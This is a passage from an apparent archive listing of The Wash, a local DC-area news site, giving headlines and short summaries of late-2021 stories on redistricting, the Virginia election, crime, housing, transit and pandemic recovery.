try to get to the root of the problem by investing time and resources in community outreach programs. - [With thefts on the rise, Dupont Circle residents brace for the holiday season](https://thewash.org/2021/11/30/with-thefts-on-the-rise-dupont-circle-residents-brace-for-the-holiday-season/) - The Wash spoke to community members about safeguarding themselves from porch pirates and the problem often overlooked at the heart of the issue. - [Alexandria to solicit, grant new broadband franchise, breaking Comcast monopoly](https://thewash.org/2021/11/18/alexandria-to-solicit-grant-new-broadband-franchise-breaking-comcast-monopoly/) - Alexandria City Council passed an ordinance to solicit and grant a broadcast network franchise to provide broadband services to residents by using the city’s right-of-way. - [MPD pursuing vehicle associated with weekend Navy Yard shooting](https://thewash.org/2021/11/29/mpd-pursuing-vehicle-associated-with-weekend-navy-yard-shooting/) - The Saturday shooting at the unit block of I Street SE comes amid a 2% rise in crime in the nation’s capital, with an estimated 200 homicides reported in 2021 alone. - [Bloomingdale house fire leaves six displaced](https://thewash.org/2021/11/26/bloomingdale-house-fire-leaves-six-displaced/) - On Friday afternoon, a house fire broke out on First Street NW, prompting a quick response from the DC Fire and EMS Department. - [Arlington County Turkey Trot succeeded despite changes ](https://thewash.org/2021/11/27/arlington-county-turkey-trot-succeeded-despite-changes/) - Thousands of Arlington County Turkey Trot participants faced cold weather, police shortage, and COVID precautions. - [Arts controversy: DC NAACP says ‘we cannot set precedent of silencing strong voices who fight for resource equity.’](https://thewash.org/2021/11/19/arts-controversy-dc-naacp-says-we-cannot-set-precedent-of-silencing-strong-voices-who-fight-for-resource-equity/) - The confirmation of Dr. Natalie Hopkinson and Cora Masters Barry to the DC Commission on the Arts and Humanities secures a vital voice for underserved communities in the District, said DC NAACP President Akosua Ali. - [In a town of pantsuits and power ties, local brand Hanifa redefines fashion in DC](https://thewash.org/2021/11/18/in-a-town-of-pantsuits-and-power-ties-local-brand-hanifa-redefines-fashion-in-dc/) - In a fashion world dominated by New York, Paris and London, the District might be a long afterthought. But DMV-based designers and merchandisers say the city’s fashion scene is on its way to becoming a dominant force. - [Thrive Montgomery 2050 reimagines MoCo’s suburbia](https://thewash.org/2021/11/16/thrive-montgomery-2050-reimagines-mocos-suburbia/) - The county’s ambitious land-use proposal ignites community division. - [Redistricting heats up along U Street](https://thewash.org/2021/11/16/redistricting-heats-up-along-u-street/) - Debates intensified over a relatively small redistricting proposal, at times becoming muddled, confusing, and downright offensive. - [LGBTQ+ groups want new DC LGBTQ Affairs director to be an ‘advocate for the community’](https://thewash.org/2021/11/16/lgbtq-groups-want-new-dc-lgbtq-affairs-director-to-be-an-advocate-for-the-community/) - Three organizational leaders spoke to The Wash about what the office should prioritize following the mayor’s appointment of a new director. - [Howard University protest ends with students, university reaching agreement](https://thewash.org/2021/11/16/howard-university-protest-ends-with-students-university-reaching-agreement/) - Howard University students agreed to leave the Blackburn building after reaching an agreement with the university's administration over housing, ending the longest protest in the university’s history. - [Supply chain disruptions are a ‘nightmare’ for some Bethesda and Chevy Chase business owners, and the end is not in sight](https://thewash.org/2021/11/16/supply-chain-disruptions-are-a-nightmare-for-some-bethesda-and-chevy-chase-business-owners-and-the-end-is-not-in-sight/) - Many have seen the images of large container ships sitting at U.S. ports with goods waiting to be unloaded and transported to final destinations. Due to the supply chain bottleneck, local business owners have been forced to pivot operations. - [Alleyway development project comes to Columbia Heights](https://thewash.org/2021/11/16/alleyway-development-project-comes-to-columbia-heights/) - EL Studio welcomed around 100 ‘alley-hoppers’ to the neighborhood, allowing them to tour three different alley spaces, including one soon-to-be developed by its team. - [Amid strain on city’s trash collection, volunteers clean streets themselves](https://thewash.org/2021/11/16/amid-strain-on-citys-trash-collection-volunteers-clean-streets-themselves/) - During the pandemic, an influx of trash strained D.C.’s waste collection services, which paused street cleaning for over a year. A recent clean-up in Takoma highlighted the importance of neighborhood initiated clean-ups. On a crisp Saturday morning this month, a couple dozen D.C. residents gathered by the Takoma metro stop, armed with bags and rubber - [‘Kids are being hit by cars.’ Dupont Circle residents enraged about street safety as accidents reach new records.](https://thewash.org/2021/11/16/kids-are-being-hit-by-cars-dupont-circle-residents-enraged-about-street-safety-as-accidents-reach-new-records/) - After several traffic accidents across the city involving children, Dupont Circle residents are calling for drastic changes to improve street safety in their community. - [Meet the Ward 5 candidates for DC Council](https://thewash.org/2021/11/16/meet-the-ward-5-candidates-for-dc-council/) - Sitting councilmember Kenyan R. McDuffie’s decision to run for Attorney General has kicked off the next election season early. - [Development of Reservation 13 is right for community, locals and officials say](https://thewash.org/2021/11/16/development-of-reservation-13-is-right-for-community-locals-and-officials-say/) - After two decades and several unsuccessful attempts to build up the area, proponents of the largely unused site can finally see the light at the end of the tunnel. - [Pickleball’s prevalence: Arlington County volleys solutions to match increased demand](https://thewash.org/2021/11/16/pickleballs-prevalence-arlington-county-volleys-solutions-to-match-increased-demand/) - Arlington County's Department of Parks and Recreation is looking to meet heightened demand for pickleball courts while balancing the needs of other sports. - [DC creatives celebrate the importance of presence, reflection, and human connection](https://thewash.org/2021/11/02/dc-creatives-celebrate-the-importance-of-presence/) - Shaw’s contemporary galleries present exhibits that conceptualize what it means to live in a post-pandemic atmosphere. - [Duke Ellington School of the Arts breaks silence amid national controversy](https://thewash.org/2021/11/12/duke-ellington-school-of-the-arts-breaks-silence-amid-national-controversy/) - The administration at the Duke Ellington School of the Arts responds to students and parents one month after alumni Dave Chappelle steeped the school in scandal. - [Veterans, supporters push for DC statehood at Veterans Day march](https://thewash.org/2021/11/12/veterans-supporters-push-for-dc-statehood-at-veterans-day-march/) - The demonstration brought together dozens of veterans, officials and residents who marched seven months after the House passed a resolution supporting the cause. - [Nonprofit supporting small businesses creates ‘Petworth Main Street’](https://thewash.org/2021/11/09/nonprofit-supporting-small-businesses-creates-petworth-main-street/) - Uptown Main Streets, a nonprofit helping small businesses gain recognition and funding, is igniting mom and pop shops throughout new areas of Petworth. - [There was no typical day, or military archetype, just 'people of all kinds'](https://thewash.org/2021/11/10/there-was-no-typical-day-or-military-archetype-drew-brooks-says-just-people-of-all-kinds/) - Drew Brooks, 36, spent 10 years at the Fayetteville Observer covering Fort Bragg in North Carolina, the largest military installation in the United States, as well as its surrounding military communities. On this Veterans Day, Brooks shared his unique perspective working at the newspaper where he covered the base and followed its soldiers as an embedded reporter across Iraq, Kuwait and Afghanistan. Brooks left the Observer in 2018. He recently moved to South Carolina, where he had majored in journalism at the University of South Carolina back in 2007. The following is an edited Q&A exchanged over email with Brooks, who since 2018 has served as Senior Writer/Editor at The National Guard Association of the United States. He’s set to leave in a few weeks, and is waiting to see what comes next. - [Hunger is an unforeseen battle for some US veterans](https://thewash.org/2021/11/11/hunger-is-an-unforeseen-battle-for-some-us-veterans/) - One Navy veteran joined the military ready to put his life on the line. Now, he says the least his country can do is give him a sandwich. - [Life after service: ‘It’s a challenge to think what comes next’](https://thewash.org/2021/11/11/life-after-service-its-a-challenge-to-think-what-comes-next/) - A return to civilian life has its struggles and veterans are facing rising unemployment rates. - [Veteran suicide prevention efforts ramp up to combat 'public health and national security crisis'](https://thewash.org/2021/11/11/veteran-suicide-prevention-efforts-ramp-up-to-combat-public-health-and-national-security-crisis/) - New ad campaign from the VA hopes to de-stigmatize veterans proactively seeking help with mental health. - [Veteran groups question success of VA suicide prevention campaign](https://thewash.org/2021/11/11/veteran-groups-question-success-of-va-suicide-prevention-campaign/) - Starting before Veterans Day, the campaign is an effort to expand and improve the Department of Veterans Affairs’ mental health resources, vet support groups say. - [Veterans, visitors reflect on what war memorials mean to them](https://thewash.org/2021/11/11/veterans-visitors-reflect-on-what-war-memorials-mean-to-them/) - Visitors to the Vietnam War, World War II and the Korean War memorials say younger generations should learn more about the country’s history. - [Dave Chappelle brings fundraising efforts and controversy to Georgetown’s public arts high school](https://thewash.org/2021/11/09/dave-chappelle-brings-fundraising-efforts-and-controversy-to-georgetowns-public-arts-high-school/) - The comedian Dave Chappelle is one of the greatest fundraisers for his alma mater, the Duke Ellington School of the Arts. But the school administration has remained silent amid the scandal surrounding Chappelle's recent comedy special, shutting parents and students out. - [A bipartisan bill intends to help combat pet shelter hunger](https://thewash.org/2021/11/09/a-bipartisan-bill-intends-to-help-combat-pet-shelter-hunger/) - D.C.’s Humane Rescue Alliance, said this legislation would remove barriers to pet food donations. - [Shaw will likely return to Ward 2 after redistricting. Here’s what that means.](https://thewash.org/2021/11/09/shaw-will-likely-return-to-ward-2-after-redistricting-heres-what-that-means/) - Shaw’s return to Ward 2 would make representation and community projects easier, but it would also create whiplash for a neighborhood that’s been in a game of ping pong. - [Big tech campus, pedestrian-only street among projects eyed by longtime Navy Yard developer](https://thewash.org/2021/11/09/big-tech-campus-pedestrian-only-street-among-projects-eyed-by-longtime-navy-yard-developer/) - Brookfield Properties, the development company behind The Yards, has set its sights on further developing the area to accommodate more residents and potentially diversify the subarea’s clientele. - [Proposed DC bill will require COVID-19 vaccination for all eligible students](https://thewash.org/2021/11/09/proposed-dc-bill-will-require-covid-19-vaccination-for-all-eligible-students/) - Columbia Heights residents weigh in on the proposed D.C. law that would mandate the COVID-19 vaccine for students. Eight Columbia Heights residents interviewed by the Wash are in favor of the D.C. bill. - [Eckington, North Capitol residents fight for safer streets](https://thewash.org/2021/11/09/eckington-north-capitol-residents-fight-for-safer-streets/) - Community members have united to make Lincoln Road NE and North Capitol Street a safer place for drivers, pedestrians and residents. - [Montgomery County mask policy suspended for foreseeable future](https://thewash.org/2021/11/09/montgomery-county-mask-policy-suspended-for-foreseeable-future/) - Montgomery County Council updated the indoor mask policy Nov. 1, receiving mixed reactions from county residents amid lower transmission rates. - [Legalization looms, but DC’s gifting operations remain in legal limbo](https://thewash.org/2021/11/09/legalization-looms-but-d-c-s-gifting-operations-remain-in-legal-limbo/) - Securing cannabis in Dupont Circle is simple. For those with a medical marijuana card, just head inside Natural Holistic Healing Center, flash your proof of a prescription for pot, select your favorite product and be on your way. But, it turns out that accessing marijuana is just as easy without a doctor's note. Anyone over - [Announcement of Amazon’s sponsorship of Franklin Park draws mixed community response](https://thewash.org/2021/11/09/announcement-of-amazons-sponsorship-of-franklin-park-draws-mixed-community-response/) - Amazon is expanding its involvement in the DMV area with this newest investment in the community. - [COVID vaccine available for ages 5 to 11 at multiple Arlington locations](https://thewash.org/2021/11/09/covid-vaccine-available-for-ages-5-to-11-at-multiple-arlington-locations/) - Virginia expected to receive at least 252,000 doses, overall. - [Local business collaboration on Eastern Market Main Street fosters success](https://thewash.org/2021/11/09/local-business-collaboration-on-eastern-market-main-street-fosters-success/) - Despite the difficulties many small business owners faced during the pandemic, Eastern Market Main Street proved to be an anomaly through supporting one another and raising funds on their own. - [As DC Streetcar plans expansion, community conflicted over merits and faults](https://thewash.org/2021/11/09/as-dc-streetcar-plans-expansion-community-conflicted-over-merits-and-faults/) - Next spring, DDOT will break ground on D.C. Streetcar’s expansion onto Benning Road. While some community members have long advocated for this project, others aren’t sure the slow-moving tram is worth the bill. - [Members of the Black Fraternal Organization of Honduras celebrate their successes, prepare for more hard work](https://thewash.org/2021/11/07/members-of-the-black-fraternal-organization-of-honduras-celebrate-their-successes-prepare-for-more-hard-work/) - In October, the Black Fraternal Organization of Honduras became the 45th recipient of the Letelier-Moffitt Human Rights Award for being champions of human rights. - [For the dubious, poll watching proves educational](https://thewash.org/2021/11/05/for-the-dubious-poll-watching-proves-educational/) - Some voters raised concerns about “election integrity,” but is observing the process enough to change their minds? - [Viral video of Petworth crash intensifies traffic safety concerns](https://thewash.org/2021/10/12/viral-video-of-petworth-crash-intensifies-traffic-safety-concerns/) - After a video of a car getting hit and flipped went viral, Petworth residents are “fed up” with DDOT’s delays in making traffic safety improvements. - [Democrats push voter turnout ahead of VA gubernatorial election](https://thewash.org/2021/11/05/democrats-push-voter-turnout-ahead-of-va-gubernatorial-election/) - Gov. Ralph Northam encouraged canvassers to help get out the vote - [Meet Rita Willis: Protester who wants to get out the vote](https://thewash.org/2021/11/04/meet-rita-willis-protester-who-wants-to-get-out-the-vote/) - Update: Henrico County is one of a handful of areas Virginia Governor-elect Glenn Youngkin did not win on Tuesday. Voters chose Democrat Terry McAuliffe by a margin of 58% to 41%. - [Virginia’s real battleground: The suburbs](https://thewash.org/2021/11/04/virginias-real-battleground-the-suburbs/) - As Election Day approaches, Democrats are campaigning hard in the suburbs. With the race tightening, both parties are hoping that the suburbs will carry them to victory. - [Mother-Daughter duo help to get out the vote](https://thewash.org/2021/11/04/mother-daughter-duo-help-to-get-out-the-vote/) - Democratic canvassers are motivated to get McAuliffe back into the governor’s mansion, mobilizing voters on key issues – voter rights, women’s rights, and COVID-19. - [Education dominates in the final days of the campaign](https://thewash.org/2021/11/04/education-dominates-in-the-final-days-of-the-campaign/) - In the home stretch of a highly contested and nationalized race, Democrat Terry McAuliffe and Republican Glenn Youngkin are seeking to rally voters in Richmond around one re-emerging issue: education. - [A family business meets the state election](https://thewash.org/2021/11/04/a-family-business-meets-the-state-election/) - Penny Lane Pub in downtown Richmond draws politicians - [In closing days of campaign, Democrats pushed back against enthusiasm gap](https://thewash.org/2021/11/04/in-closing-days-of-campaign-democrats-pushed-back-against-enthusiasm-gap/) - Update: With 98% of votes counted, Republican Glenn Youngkin has 50.89% of the vote for Virginia's gubernatorial seat. Democratic candidate Terry McAuliffe has 48.42% of the vote. At least 3,257,029 residents of Virginia voted on Tuesday. - [Arlington County polls saw ‘steady stream’ of in-person voters, despite new early voting options](https://thewash.org/2021/11/03/arlington-county-polls-saw-steady-stream-of-in-person-voters-despite-new-early-voting-options/) - A steady stream of voters in Arlington County cast their ballot in person Tuesday despite new voting laws that allow more flexibility for early voting options. - [Black churches in Virginia join get out the vote efforts](https://thewash.org/2021/11/03/black-churches-in-virginia-join-get-out-the-vote-efforts/) - Reverends calls on parishioners to act on protecting “the bedrock of our democracy” - [Youngkin campaign leads a new Republican strategy in the first post-Trump election since 2020](https://thewash.org/2021/11/03/youngkin-campaign-leads-a-new-republican-strategy-in-the-first-post-trump-election-since-2020/) - Many view the results of this election as a referendum on the Democratic party nationwide - [Why aren’t more people talking about Liberation Party candidate Princess Blanding?](https://thewash.org/2021/11/03/why-arent-more-people-talking-about-liberation-party-candidate-princess-blanding/) - In a tight Virginia gubernatorial race, third-party votes could decide the election. And that’s a problem. - [Pandemic rental assistance program ends, local resources left to fill gaps](https://thewash.org/2021/11/02/pandemic-rental-assistance-program-ends-local-resources-left-to-fill-gaps/) - Residents will have to find new rental assistance options as pandemic era protections end, adding to existing problems of financial dilemmas and language barriers. - [Alexandria City Council approves $60M in grant applications amid worst flooding since ‘03 Hurricane Isabel](https://thewash.org/2021/11/02/alexandria-city-council-approves-60m-in-grant-applications-amid-worst-flooding-since-03-hurricane-isabel/) - Just three days before historic flooding, Alexandria City Council approved $60 million in grant applications to go toward the Waterfront Flood Mitigation Project. - [DC Council publishes discussion maps ahead of Ward 6 redistricting hearing](https://thewash.org/2021/11/02/dc-council-publishes-discussion-maps-ahead-of-ward-6-redistricting-hearing/) - After a 41.9% population growth in the last decade, Ward 6 boundaries will change during the decennial redistricting process. Rebalancing wards will push some residents into Wards 7 and 8, further changing their racial makeup. - [Fatal DUI crashes hit record high last year, ‘no excuse’ for impaired driving](https://thewash.org/2021/11/02/fatal-dui-crashes-hit-record-high-last-year-no-excuse-for-impaired-driving/) - Local leaders encourage residents to plan transportation before drinking, especially since car accidents tend to increase between Halloween and New Year’s Day. - [Community responds to feedback process on Pentagon City Planning Study](https://thewash.org/2021/11/02/community-responds-to-feedback-process-on-pentagon-city-planning-study/) - Arlington County has led a community planning process to obtain feedback on its Pentagon City Planning Study, but some community members say not everyone’s voice was brought to the table. - [Despite rising crime in Capitol Hill, residents and officials say growth of the neighborhood not in jeopardy](https://thewash.org/2021/11/02/despite-rising-crime-in-capitol-hill-residents-and-officials-say-growth-of-the-neighborhood-not-in-jeopardy/) - Some locals say crime waves are just a hazard of life in big cities. - [‘This industry is defined by resilience.’ Dupont Circle business owners experience both challenges and opportunities during the COVID-19 pandemic](https://thewash.org/2021/11/02/this-industry-is-defined-by-resilience-dupont-circle-business-owners-experience-both-challenges-and-opportunities-during-the-covid-19-pandemic/) - Dupont Circle had “significant” business turnover during the pandemic, with 25 closings and 10 openings in the last year and a half throughout the Business Improvement District. - [A month after DHS cut funding for Casa Ruby shelter, future for clients and staff remains unclear](https://thewash.org/2021/11/02/a-month-after-dhs-cut-funding-for-casa-ruby-shelter-future-for-clients-and-staff-remains-unclear/) - LGBTQ leaders express concern for Casa Ruby clients after funds used for a low-barrier shelter were diverted to national organizations that they say are not safe spaces for the transgender community. Khloe Pitts discovered Casa Ruby in the eighth grade after her family kicked her out of the house for coming out as a transgender - [Newly introduced Recovery Act could bring minority businesses, affordable housing downtown](https://thewash.org/2021/11/02/newly-introduced-recovery-act-could-bring-minority-businesses-affordable-housing-downtown/) - As vacancy reaches record high rates downtown, D.C. councilmembers push to repurpose buildings and create affordable housing, mixed-use developments and green spaces. - [The retro-metro picks up the slack as 7000 series face inspection](https://thewash.org/2021/11/02/the-retro-metro-picks-up-the-slack-as-7000-series-face-inspection/) - Following the derailment and subsequent withdrawal of the 7000 series trains, the older 3000 series return to take their place. - [Increased community scrutiny makes recruiting new officers difficult in Montgomery County](https://thewash.org/2021/11/02/increased-community-scrutiny-makes-recruiting-new-officers-difficult-in-montgomery-county/) - Police officials point to a “negative campaign against police,” while local activists suggest the issue might be internal. - [The Drag Queens Have Returned to 17th Street](https://thewash.org/2021/10/27/the-drag-queens-have-returned-to-17th-street/) - Thousands flocked to participate in the 34th-year of D.C.’s legendary high heel race. - [After 20 months of empty stages, the Atlas is on the road to recovery](https://thewash.org/2021/10/26/after-20-months-of-empty-stages-the-atlas-is-on-the-road-to-recovery/) - Like other performing arts organizations, H Street’s Atlas Theater suffered major losses during the pandemic. Now, as it launches its fall season, the enduring success of the Atlas will depend on the financial recovery made this season. - [A ‘dropping ground’: Residents frustrated by lack of action in removing abandoned vehicles](https://thewash.org/2021/10/26/a-dropping-ground-residents-frustrated-by-lack-of-action-in-removing-abandoned-vehicles/) - Brightwood residents complain the current system for removing vehicles is convoluted and ineffective ahead of a D.C. Council hearing on a proposed amendment to change the process. In fiscal year 2021, D.C. Department of Public Works only removed 7% of reported abandoned vehicles, according to Ward 4 Councilmember Janeese Lewis George at a D.C. Council - [Neon lights and signs face strict regulation in Georgetown's Historic District](https://thewash.org/2021/10/26/neon-lights-and-signs-face-strict-regulation-in-georgetowns-historic-district/) - Business owners in Georgetown are working to save their neon signs as local representatives seek to remove them. - [Arlington residents find other modes of transportation amid Metro chaos](https://thewash.org/2021/10/26/arlington-residents-find-other-modes-of-transportation-amid-metro-chaos/) - Arlington residents struggle navigating the best way to commute since 60% of the Metro fleet has been suspended through at least Oct. 31. - [Rental incentives disappear as the market returns to pre-pandemic levels](https://thewash.org/2021/10/26/rental-incentives-disappear-as-the-market-returns-to-pre-pandemic-levels/) - The rental market in downtown D.C. has fully rebounded, according to a new DowntownDC BID report. Real estate experts cite the return to work, influx of new administration officials, and the reopening of the rest of the economy as major drivers of this recent rebound. - [Here’s what’s going on with the infamous mail delays and delivery issues in DC](https://thewash.org/2021/10/26/heres-whats-going-on-with-the-infamous-mail-delays-and-delivery-issues-in-dc/) - United States Postal Service officials hire nearly 100 mail carrier assistants in DC but residents say they are still feeling discouraged with progress - [COVID-19 stressors lead to an increase in domestic violence](https://thewash.org/2021/10/26/covid-19-stressors-lead-to-an-increase-in-domestic-violence/) - The District has seen an increase in strangulation related to domestic violence during the pandemic as programs like House of Ruth receive more calls for help from people than years before. - [Men in Blue work program finally gains neighborhood trust](https://thewash.org/2021/10/26/men-in-blue-work-program-finally-gains-neighborhood-trust/) - Ready, Willing and Working opens live auction this week to fund employment programs and clean up DC neighborhoods. - [Zero-waste bike delivery service comes to Petworth amid waste management issues](https://thewash.org/2021/10/26/zero-waste-bike-delivery-service-comes-to-petworth-amid-waste-management-issues/) - The Rounds, a sustainable refillable delivery service, launches in D.C. in an effort to increase the District’s waste diversion rate. - [With ballooning population and extensive development, Ward 6 could see major boundary changes during DC redistricting](https://thewash.org/2021/10/26/with-ballooning-population-and-extensive-development-ward-6-could-see-major-boundary-changes-during-dc-redistricting/) - As the D.C. Council gears up for a delayed start to the decennial redistricting process, the council is predicting major changes to Ward 6’s boundaries. Ward 6, which encompasses neighborhoods like Navy Yard, Southwest Waterfront and Buzzard Point, has seen major development over the last decade, leading to a high influx of residents to the - [Increased development, stormwater runoff threaten MoCo creeks and wildlife](https://thewash.org/2021/10/26/increased-development-stormwater-runoff-threaten-moco-creeks-and-wildlife/) - Montgomery Parks and environmentalist groups warn of development’s damaging effects and ask residents to help curb the lasting corruption stormwater runoff has on local waterways and wildlife. - [Howard University students continue protest over ‘unlivable’ housing conditions](https://thewash.org/2021/10/26/howard-university-students-continue-protest-over-unlivable-housing-conditions/) - The three-week protest at Howard University over housing quality becomes one of the longest in the university’s history. Students say they won’t stop until their demands are met. - [Activists, council members raise concerns about homeless encampment pilot program following NoMa closures](https://thewash.org/2021/10/22/activists-council-members-raise-concerns-about-homeless-encampment-pilot-program-following-noma-closures/) - Nearly two weeks after a NoMa encampment resident was bulldozed during a clearing, activists are unsure whether the man has found housing. - [Adams Morgan landlords resist lowering rent](https://thewash.org/2021/10/21/adams-morgan-landlords-resist-lowering-rent/) - Landlords are deciding whether to lower rent or leave apartments vacant as demand returns following sluggish peak season. - [MoCo’s 50+ residents show unique resilience in the face of ongoing pandemic restrictions](https://thewash.org/2021/10/19/mocos-50-residents-show-unique-resilience-in-the-face-of-ongoing-pandemic-restrictions/) - NIH expert shares key findings on older adults’ mental health during this month’s episode of the freshly-rebranded “50+ in Montgomery County.” - [MoCo Council learns first responders left untested for COVID-19, despite orders](https://thewash.org/2021/10/20/moco-council-learns-first-responders-left-untested-for-covid-19-despite-orders/) - A Montgomery County Council session revealed County Executive Marc Elrich never provided a plan for COVID-19 testing protocols, originally due over two months ago. - [T Street residents face damage to historic homes after construction for Pepco’s Capital Grid Project](https://thewash.org/2021/10/19/t-street-residents-face-damage-to-historic-homes-after-construction-for-pepcos-capital-grid-project/) - In November, Pepco broke ground on T Street to add a transmission line through the neighborhood as part of their Capital Grid Project. Due to improper construction techniques, residents now face nearly $1 million in damages to their historic homes. - [Security issues delay community project, organizers search for permanent solution](https://thewash.org/2021/10/19/security-issues-delay-community-project-organizers-search-for-permanent-solution/) - The “Civic Plaza For All” initiative was meant to bring activities to Columbia Heights, but is now being redesigned after organizers voiced safety concerns and a lack of communication among government agencies. - [At Crispus Attucks Park, return of outdoor events creates sense of normalcy during pandemic](https://thewash.org/2021/10/19/at-crispus-attucks-park-return-of-outdoor-events-creates-sense-of-normalcy-during-pandemic/) - Bloomingdales’ Crispus Attucks Park hosted its annual film festival last month after being canceled in 2020 due to COVID. The event has brought the community together for years. - [Popular section of King Street permanently closed to vehicles](https://thewash.org/2021/10/19/popular-section-of-king-street-permanently-closed-to-vehicles/) - Alexandria City Council voted to permanently close the 100 block of King Street between Lee Street and Union Street to vehicular traffic. Some residents are concerned the closure may have negative consequences on the surrounding area. - [Hazardous lead pipes pose serious risks in 135 buildings along the U Street corridor](https://thewash.org/2021/10/19/hazardous-lead-pipes-pose-serious-risks-in-135-buildings-along-the-u-street-corridor/) - Local officials continue to negotiate the best course of action to eliminate a hazardous public health crisis that continues to plague D.C. residents. - ['A zest to continue:' DC's Chinatown challenges narratives of its decline](https://thewash.org/2021/10/19/a-zest-to-continue-dcs-chinatown-challenges-narratives-of-its-decline/) - Surviving in Chinatown was already difficult for small businesses, but now owners face a new roadblock: being told they’re not authentic enough. - [Shaw Dog Park reopens with concerns over park access and cleanliness](https://thewash.org/2021/10/19/shaw-dog-park-reopens-with-concerns-over-park-access-and-cleanliness/) - After an April 2020 closure for construction of the new Banneker High School, the dog park reopened on Oct . 2. Yet some park goers say they can’t get in during the posted times and others are concerned about the gravel used for the park’s surface. - [Arlington small businesses eager for round 2 of county grant, but new requirements may limit eligibility](https://thewash.org/2021/10/19/arlington-small-businesses-eager-for-round-2-of-county-grant-but-new-requirements-may-limit-eligibility/) - Arlington County has launched a second round of its small business grant program, but new eligibility requirements are leaving some businesses without a financial boost. - [The arts return to Bethesda following nearly 18-month hiatus](https://thewash.org/2021/10/19/the-arts-return-to-bethesda-following-nearly-18-month-hiatus/) - The creative economy is beginning to bounce back following last year’s COVID-19 shutdowns. But the unemployment rate of artists is still almost four times the national rate, according to the Bureau of Labor Statistics. - [Arlington NAACP frustration grows after the death of another inmate](https://thewash.org/2021/10/14/arlington-naacp-frustration-grows-after-the-death-of-another-inmate/) - Clyde Spencer, a 58-year-old man was arrested on Oct 2 and died three days later inside the jail. He is the sixth inmate to have died at the Arlington County Detention Facility in the past six years. - [After two deadly shootings, Capitol Hill residents, police reflect on crime spike](https://thewash.org/2021/10/13/after-two-deadly-shootings-capitol-hill-residents-police-reflect-on-crime-spike/) - Police say the violence represents a general increase in crime in the neighborhood, while some residents contend the shootings are indicative of crime in D.C. as a whole. - [‘An anchor to the area:’ Community cries out to save beloved stables](https://thewash.org/2021/10/12/an-anchor-to-the-area-community-cries-out-to-save-beloved-stables/) - Montgomery County residents are speaking out against the Montgomery County Master Plan’s draft recommendation to potentially demolish the beloved Wheaton Park Stables. - [Shootings in Navy Yard-Southwest Waterfront highlight long standing gun violence issues](https://thewash.org/2021/10/13/shootings-in-navy-yard-southwest-waterfront-highlight-long-standing-gun-violence-issues/) - Two back-to-back shootings come months after a high-profile shooting in July outside Nationals Park in Navy Yard that sent players and attendees fleeing the stadium. - [Vehicle owners and thieves share blame for rising auto thefts in Georgetown](https://thewash.org/2021/10/12/vehicle-owners-and-thieves-share-blame-for-rising-auto-thefts-in-georgetown/) - The Metropolitan Police Department is urging drivers to do their part to stop the rise of auto theft in Georgetown after four vehicles were stolen in the first weekend of October. - [Hard of hearing seek greater accessibility](https://thewash.org/2021/10/12/hard-of-hearing-seek-greater-accessibility/) - From over-the-counter hearing aids and cochlear implants to open captioning in movie theaters, the HLAA is pushing for public policies to address their needs. - [Despite getting COVID-19 vaccine, Columbia Heights residents question need for flu shot](https://thewash.org/2021/10/12/despite-getting-covid-19-vaccine-columbia-heights-residents-question-need-for-flu-shot/) - Columbia Heights leads the District in COVID-19 cases and over half of residents are vaccinated against the coronavirus. But people have mixed feelings about getting the flu shot this season. - [DC Latinx small business owners fight to overcome disproportionate pandemic challenges](https://thewash.org/2021/10/12/dc-latinx-small-business-owners-fight-to-overcome-disproportionate-pandemic-challenges/) - Education and research experts lead the way toward change. - [New e-scooter policy expected to reduce use of green vehicles in downtown DC](https://thewash.org/2021/10/12/new-e-scooter-policy-expected-to-reduce-use-of-green-vehicles-in-downtown-dc/) - D.C. commuters must now lock e-scooters to city infrastructure like bike racks, signs or corrals after their ride. In the downtown area, where usership is highest, this could change how people use the alternative transportation. - [Bloomingdale’s historic McMillan Park inches toward redevelopment](https://thewash.org/2021/10/12/bloomingdales-historic-mcmillan-park-inches-toward-redevelopment/) - The DC Court of Appeals cleared the way for demolition to begin on the McMillan Sand Filtration Site despite ongoing court challenges. - [Grand Central bar in Adams Morgan marks its first week running a sportsbook](https://thewash.org/2021/10/12/grand-central-bar-in-adams-morgan-marks-its-first-week-running-a-sportsbook/) - The business became the first restaurant or bar in D.C. to obtain a license for sports wagering. - [Vision Zero, a ‘total failure’ for the H Street NE community](https://thewash.org/2021/10/12/vision-zero-a-total-failure-for-the-h-street-ne-community/) - D.C. set an ambitious goal to eliminate traffic fatalities and serious injuries by 2024, but with 30 deaths in the District to date and just two years to go, that goal seems unlikely. - [Urban Farming Gets Tangled Up in Dupont’s Roots](https://thewash.org/2021/10/12/urban-farming-gets-tangled-up-in-duponts-roots/) - Local advocates for expanding farming in the Dupont Circle neighborhood believe the city has more to gain from urban agriculture than just healthy produce. - [Broken HVACs, leaky roofs, burst pipes: Ward 4 school officials, parents say DCPS faces an ‘emergency’ during pandemic](https://thewash.org/2021/10/06/broken-hvacs-leaky-roofs-burst-pipes-ward-4-school-officials-parents-say-dcps-faces-an-emergency-during-pandemic/) - By the beginning of the school year, the majority of HVAC system work orders throughout DCPS were still incomplete. Parents and officials in Ward 4 point to long standing neglect and inequity. When D.C. Public Schools resumed in-person classes on Aug. 30, 70% of HVAC-related work orders throughout the system had yet to be completed. - [Downtown’s Franklin Park reopens as a ‘no-tent’ zone, following city-wide encampment clearings](https://thewash.org/2021/10/05/downtowns-franklin-park-reopens-as-a-no-tent-zone-following-city-wide-encampment-clearings/) - The 5 acre lot closed last summer for repairs and displaced roughly 20 people who regularly slept in the park. - [Shaw: How local officials are encouraging residents to make the sustainable switch](https://thewash.org/2021/10/05/shaw-how-local-officials-are-encouraging-residents-to-make-the-sustainable-switch/) - The D.C. policy agenda has pushed clean energy for more than 10 years. Now, local officials are pressing solar energy to encourage environmentally conscious consumption. - [Security coordination for Adams Morgan businesses under review](https://thewash.org/2021/10/05/security-coordination-for-adams-morgan-businesses-under-review/) - The program which detailed off-duty officers outside bars in Adams Morgan was a large component of the BID's founding focus on improving neighborhood safety. The BID says it has no plans to resume their participation. - [New bill would freeze rent raises in Montgomery County](https://thewash.org/2021/10/05/new-bill-would-freeze-rent-raises-in-montgomery-county/) - Councilmember Will Jawando and others push for proactivity in housing security efforts. - [Kings of the neighborhood: Feral cats pose a problem for dog walkers](https://thewash.org/2021/10/05/kings-of-the-neighborhood-feral-cats-pose-a-problem-for-dog-walkers/) - Feral cats near Takoma Park repeatedly attack dogs and their owners as they pass by. - [Virginia’s plastic bag tax arrives a decade after DC’s. Here’s why.](https://thewash.org/2021/10/05/virginias-plastic-bag-tax-arrives-a-decade-after-dcs-heres-why/) - A 5-cent plastic bag tax will take effect in just two months. The tax sets out to reduce plastic bag usage. - [‘It is unbelievable that this is still coming up.’ 